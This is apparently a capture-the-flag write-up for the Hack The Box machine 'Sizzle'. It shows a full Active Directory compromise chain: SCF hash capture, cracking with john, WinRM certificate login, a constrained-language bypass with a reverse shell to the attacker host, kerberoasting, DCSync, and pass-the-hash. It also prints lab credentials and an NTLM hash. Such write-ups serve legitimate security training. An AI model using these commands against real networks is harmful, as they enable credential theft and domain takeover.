Sizzle

Enumeration

As usual, we start with an nmap scan, in order to find open ports in the target machine.

The following nmap command will scan the target machine looking for open ports quickly and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.103 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

As we see, there are quite a lot of ports open.

Let's try to obtain the services and versions of these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p21,53,80,135,139,389,443,445,464,593,636,3268,3269,5985,5986,9389,47001,49664,49665,49666,49667,49677,49688,49689,49691,49694,49706,49710,49717 10.10.10.103 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

As we can see, there are a lot of ports open. Let's start enumerating the SMB service. We can see the shares using a guest user.

smbmap -H 10.10.10.103 -u "guest"

There is one share called Department Shares with READ ONLY permissions. This share contains a bunch of other subdirectories.

smbmap -H 10.10.10.103 -u "guest" -r "Department Shares"

Inside the Users directory, there are other subdirectories named as possible local system users.

smbmap -H 10.10.10.103 -u "guest" -r "Department Shares\Users"

Now we have a list of users that might be helpful in the future. We could check if we have write permissions on any of these directories. As seen, everyone has full permissions on the Public directory.

smbcacls "//10.10.10.103/Department Shares" Users/Public -N

Exploitation

This means that we could upload files to that directory. We could try to create a SCF (Shell Command Files) file in the Public directory. When this file gets executed by any user, it will try to load an icon from our machine, authenticating in our local SMB server, and giving us their NTLMv2 hash.

nano pwn.scf

Now upload it to the Public directory.

smbmap -H 10.10.10.103 -u "guest" --upload pwn.scf "Department Shares\Users\Public\pwn.scf"

Then, set the SMB server. If any user opens the file, it will try to load the icon from our SMB server, giving us their NTLMv2 hash.

impacket-smbserver smbFolder $(pwd) -smb2support

Copy the hash, paste it into a file, and try to break it with john.

john -w=/usr/share/wordlists/rockyou.txt hash

Let's keep enumerating the machine. As we saw in the nmap scan, port 5986 is open, and it hosts a WinRM server, but uses SSL certificates. We might need to create our own certificate to be able to log into the machine. Nmap also reported that port 80 is open. Let's take a look at it.

As we can see, the web server is a Microsoft IIS 10. Let's try to enumerate website subdirectories using a custom IIS wordlist.

gobuster dir -u http://10.10.10.103/ -w /opt/SecLists/Discovery/Web-Content/IIS.fuzz.txt -t 200 --no-error

The certsrv directory shows a 401 status code. If we take a look at it, it will ask for credentials. Let's use the ones we have.

We log into Active Directory Certificate Services.

This utility will allow us to create our certificate, and log in with the WinRM service using SSL certificates. First, create a private key and a certificate signing request.

openssl req -newkey rsa:2048 -nodes -keyout amanda.key -out amanda.csr

Now, on the website, go to Request a certificate.

Then go to advanced certificate request, copy and paste the amanda.csr certificate signing request into the Saved Request filed, and press Submit.

Download the certificate by clicking on Download certificate.

Finally, we can log into the machine using the WinRM service and the SSL certificates.

evil-winrm -i 10.10.10.103 -u 'MRLKY' -p 'Football#7' -S -c certnew.cer -k amanda.key

Privilege Escalation

The shell that we have is quite limited. It is in constrained language mode.

$executioncontext.sessionstate.languagemode

We need to bypass this limited shell. We can do it with the PSByPassCLM tool. Clone the repository, then go to PSBypassCLM/PSBypassCLM/bin/x64/Debug, and set a simple HTTP server.

python -m http.server 80

Now, create the privEsc folder inside \Windows\Temp, and download the PsBypassCLM.exe binary from our HTTP server there.

mkdir \windows\temp\privEsc; cd \windows\temp\privEsc

iwr http://10.10.14.11/PsBypassCLM.exe -outfile PsBypassCLM.exe

Now, set a netcat listener on port 4444.

rlwrap nc -lvnp 4444

Finally, run the following command, and catch the reverse shell, but this time with full language mode.

C:\windows\temp\privesc> C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.14.11 /rport=4444 /U c:\windows\temp\privEsc\PsBypassCLM.exe

As we have credentials, we could run BloodHound remotely with the bloodhound-python tool. Make sure to the add htb.local entry to the /etc/hosts file.

bloodhound-python -c All -u 'amanda' -p 'Ashare1972' -ns 10.10.10.103 -d htb.local

Now, we have to start BloodHound. First, we have to start neo4j.

neo4j console

Then we will search for the localhost on port 4747 and log in with the username neo4j and password neo4j. You’ll have to change the password.

On a new console, run BloodHound.

bloodhound -nosandbox

Then log in with the credentials you set earlier.

Then, click on the Upload Data button on the right section and select all the .json files.

Once all the .json files are uploaded go to the Analysis section. There we'll see that the user MRLKY user a kerberoasteable account.

We can't exploit this vulnerability yet, because port 88 (Kerberos) is not exposed externally. We can also see that this user has DCSync rights, which we could exploit to gain domain admin privileges.

A user with the DCSync permission impersonates a Domain Controller and requests account password data from the targeted Domain Controller.

Let's start with the kerberoasting attack. As we can see Kerberos is only accessible internally.

netstat -nat

To exploit this vulnerability, we'll have to use Rubeus. Set a simple HTTP server where the Rubeus.exe binary is located.

python -m http.server 80

Download the file from the victim machine.

iwr http://10.10.14.11/Rubeus.exe -outfile Rubeus.exe

Finally, exploit the kerberoasting vulnerability using the credentials of the amanda user. We should get the hash of the MRLKY user.

.\Rubeus.exe kerberoast /creduser:htb.local\amanda /credpassword:Ashare1972

Copy the hash, and break it with john.

john -w=/usr/share/wordlists/rockyou.txt kerb_hash

Now that we have credentials for MRLKY, and as it has DCSync rights, we can dump hashes of every local user remotely with secrets-dump.

impacket-secretsdump htb.local/mrlky:'Football#7'@10.10.10.103

As we have to NTLM hash of the administrator user, we could do pass the hash and get a shell as nt authority\system. Then all we have to do is reap the harvest and take both the user and root flags.

impacket-psexec htb.local/administrator@10.10.10.103 -hashes aad3b435b51404eeaad3b435b51404ee:f6b7160bfc91823792e0ac3a162c9267

Last updated

Was this helpful?